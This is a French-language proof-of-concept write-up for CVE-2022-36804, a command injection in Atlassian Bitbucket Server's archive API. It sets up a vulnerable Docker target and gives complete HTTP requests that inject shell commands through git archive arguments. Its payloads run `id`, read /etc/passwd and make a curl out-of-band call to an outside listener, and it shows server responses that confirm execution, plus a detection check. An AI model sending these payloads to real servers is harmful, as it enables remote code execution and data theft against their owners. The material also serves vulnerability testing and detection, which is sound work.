CVE-2022-36804

Atlassian Bitbucket Server et Data Center - Vulnérabilité d'injection de commande (CVE-2022-36804)

Dans les versions concernées d'Atlassian Bitbucket Server et Data Center, une vulnérabilité d'injection de commande existe dans plusieurs points de terminaison API où un attaquant ayant accès à un dépôt public ou disposant d'autorisations de lecture sur un dépôt Bitbucket privé peut exécuter du code arbitraire en envoyant une requête HTTP malveillante.

Configuration de la cible vulnérable

docker pull atlassian/bitbucket-server:7.2.5-ubuntu-jdk11

docker run -v /data/bitbucket:/var/atlassian/application-data/bitbucket --name="bitbucket" -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:7.2.5-ubuntu-jdk11

• Créez un nouveau PROJET nommé CFX et un dépôt nommé lord et rendez-le public. Vous pouvez utiliser n'importe quel nom pour le projet et le dépôt.
• URL pour lister les dépôts publics Curl http://127.0.0.1:7990/rest/api/latest/repos

POC

REQUÊTE

GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60id%60%00--prefix=/ HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2

RÉPONSE

HTTP/1.1 500 
X-AREQUESTID: @1J1EWV1x490x54736x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: accept-encoding,x-auserid,cookie,x-ausername,accept-encoding
Content-Type: application/json;charset=UTF-8
Date: Tue, 04 Oct 2022 08:10:56 GMT
Connection: close
Content-Length: 380

{"errors":[{"context":null,"message":"'/usr/bin/git archive --format=zip --prefix=fusion/\u0000--remote=/\u0000--exec=`id`\u0000--prefix=/ -- 49f16ce1e8ad32a360c9db7a3a84a0b72a12c51f bighax' exited with code 128 saying: `id` '/': 1: uid=2003(bitbucket): not found\nfatal: the remote end hung up unexpectedly","exceptionName":"com.atlassian.bitbucket.scm.CommandFailedException"}]}

Charges utiles supplémentaires

• Lecture de /etc/passwd

rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60cat%20/etc/passwd%60%00--prefix=/

• Test OOB, remplacez http://example.com par une URL Burp Collaborator ou un listener NC

rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=qualys/%00--remote=/%00--exec=curl%20http://example.com%00--prefix=/

Vérification de base pour détecter un serveur vulnérable

REQUÊTE

GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&prefix=/%00--help%00--%00 HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2

RÉPONSE

HTTP/1.1 200 
X-AREQUESTID: @1J1EWV1x506x54738x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: X-AUSERNAME
Vary: X-AUSERID
Vary: Cookie
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="[email protected]"; filename*=UTF-8''lord-master%4049f16ce1e8a.zip
Content-Type: application/octet-stream
Content-Length: 875
Date: Tue, 04 Oct 2022 08:26:21 GMT

usage: git archive [<options>] <tree-ish> [<path>...]
   or: git archive --list
   or: git archive --remote <repo> [--exec <cmd>] [<options>] <tree-ish> [<path>...]
   or: git archive --remote <repo> [--exec <cmd>] --list

    --format <fmt>        archive format
    --prefix <prefix>     prepend prefix to each pathname in the archive
    -o, --output <file>   write the archive to this file
    --worktree-attributes
                          read .gitattributes in working directory
    -v, --verbose         report archived files on stderr
    -0                    store only
    -1                    compress faster
    -9                    compress better

    -l, --list            list supported archive formats

    --remote <repo>       retrieve the archive from remote repository <repo>
    --exec <command>      path to the remote git-upload-archive command